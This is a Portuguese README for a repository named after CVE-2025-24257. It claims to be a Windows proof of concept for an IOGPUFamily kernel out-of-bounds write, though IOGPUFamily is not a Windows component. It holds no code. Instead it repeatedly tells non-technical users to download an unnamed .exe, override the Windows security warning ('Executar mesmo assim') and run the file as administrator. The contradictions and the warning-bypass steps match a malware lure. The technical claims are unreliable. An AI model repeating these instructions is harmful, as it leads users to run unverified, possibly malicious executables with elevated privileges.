🔧 CVE_2025_24257----NOT-MINE - Execute o PoC do Windows com Segurança

🧾 Visão Geral

CVE_2025_24257----NOT-MINE é uma prova de conceito para Windows que demonstra um bug de memória do kernel no IOGPUFamily. Ela é baseada em um underflow de bitmap_mask que pode levar a uma gravação fora dos limites (out-of-bounds) no heap do kernel. Este projeto é o primeiro PoC público relacionado a esse problema.

Este repositório é para usuários que desejam baixar o pacote, abri-lo no Windows e executar o exemplo com o mínimo de configuração possível. O objetivo deste README é tornar o processo simples para usuários não técnicos.

📥 Download

Use este link para visitar a página do projeto e baixar os arquivos:

Ir para a página de download

Se a página exibir um release, asset, arquivo ZIP ou arquivo de código-fonte, baixe esse arquivo para o seu PC com Windows. Salve-o em uma pasta que você possa encontrar novamente, como Downloads ou Área de Trabalho.

🖥️ O Que Você Precisa

Antes de começar, certifique-se de que você tem:

• Um PC com Windows
• Uma conexão com a internet
• Espaço livre suficiente para salvar o download
• Permissão para executar arquivos no seu computador

Este projeto foi feito para uso normal no Windows. Um notebook ou desktop padrão é suficiente para as etapas básicas.

🚀 Começando

Siga estas etapas em ordem:

1. Abra a página de download.
2. Baixe o arquivo do projeto para o seu PC.
3. Se o arquivo estiver em uma pasta ZIP, clique com o botão direito e escolha Extrair Tudo.
4. Abra a pasta extraída.
5. Procure o arquivo principal do programa, como um arquivo .exe.
6. Clique duas vezes no arquivo para executá-lo.

Se o Windows exibir um aviso de segurança, escolha a opção que permite executar o arquivo. Talvez seja necessário clicar em Mais informações primeiro e depois em Executar mesmo assim.

🗂️ Estrutura de Arquivos

Após extrair o download, você poderá ver arquivos como estes:

• README.md - este guia
• arquivo exe ou app - o programa principal
• pasta docs - notas extras ou ajuda de uso
• pasta samples - dados de teste ou entrada de exemplo
• pasta assets - arquivos de suporte

O arquivo principal é o que você deve abrir primeiro. Se a pasta contiver mais de um executável, comece pelo que tiver o nome mais claro, como run.exe, main.exe ou um arquivo com o nome do projeto.

🛠️ Como Executar

Use este fluxo simples:

1. Baixe o projeto pelo link acima.
2. Extraia o arquivo ZIP, se necessário.
3. Abra a pasta.
4. Clique duas vezes no arquivo .exe principal.
5. Siga as instruções exibidas na tela.

Se o programa abrir uma janela de console, mantenha-a aberta até que a tarefa seja concluída. Se ela fechar imediatamente, execute novamente e observe qualquer mensagem que aparecer.

⚙️ Dicas Básicas de Configuração

Para que tudo funcione sem problemas:

• Coloque os arquivos em um caminho curto, como C:\CVE_2025_24257
• Evite espaços e símbolos especiais no nome da pasta
• Feche outros aplicativos se o programa precisar de tela cheia ou acesso de baixo nível
• Mantenha os nomes originais dos arquivos inalterados
• Use as atualizações mais recentes do Windows disponíveis no seu sistema

Se o aplicativo solicitar arquivos adicionais, coloque-os na mesma pasta do executável principal.

📌 Fluxo de Uso Comum

Um fluxo de uso simples é assim:

1. Baixe o pacote.
2. Extraia-o.
3. Abra o programa principal.
4. Leia qualquer instrução exibida na tela.
5. Digite a entrada necessária se o aplicativo solicitar.
6. Aguarde o resultado.

Se o projeto incluir um arquivo de texto com etapas de uso, leia esse arquivo antes de executar o aplicativo. Ele pode listar a ordem exata para execução ou entrada.

🧩 Solução de Problemas

Se o aplicativo não iniciar, tente estas etapas:

• Clique com o botão direito no arquivo e escolha Executar como administrador
• Certifique-se de que você extraiu o ZIP primeiro
• Verifique se o Windows não bloqueou o arquivo
• Mova a pasta para um caminho simples, como C:\Temp\CVE_2025_24257
• Certifique-se de que todos os arquivos permaneçam juntos na mesma pasta

Se você vir uma mensagem de arquivo ausente, o aplicativo provavelmente precisa de um dos arquivos de suporte na mesma pasta. Verifique novamente a pasta extraída e mantenha o conjunto completo de arquivos junto.

🔐 Aviso de Segurança do Windows

O Windows pode exibir um aviso antes de o arquivo ser executado. Isso pode acontecer com ferramentas novas ou não assinadas.

Se isso acontecer:

1. Clique em Mais informações
2. Revise o nome do arquivo
3. Clique em Executar mesmo assim se quiser continuar

Execute apenas arquivos obtidos de uma fonte em que você confia.

🧪 Exemplo de Estrutura de Pastas

Uma estrutura de pastas simples pode ser assim:

• C:\CVE_2025_24257
  • main.exe
  • README.md
  • support.dll
  • samples
  • docs

Mantenha a pasta intacta após o download e a extração. Não mova apenas um arquivo para fora da pasta, a menos que as instruções digam para fazer isso.

📄 Notas para Usuários de Primeira Viagem

Se você é novo nesse tipo de ferramenta, tenha estes pontos em mente:

• Comece pelo arquivo principal na pasta
• Não renomeie arquivos a menos que o aplicativo peça
• Não exclua arquivos extras
• Não execute arquivos desconhecidos de outras pastas
• Leia qualquer arquivo de texto incluído para saber a ordem exata de execução

Este projeto foi feito para ser aberto e executado no Windows com um fluxo simples de download e execução.

🧭 Etapas Rápidas de Inicialização

• Visite a página de download
• Baixe o arquivo do projeto (archive ou release)
• Extraia-o, se necessário
• Abra a pasta
• Clique duas vezes no .exe principal
• Siga as etapas exibidas na tela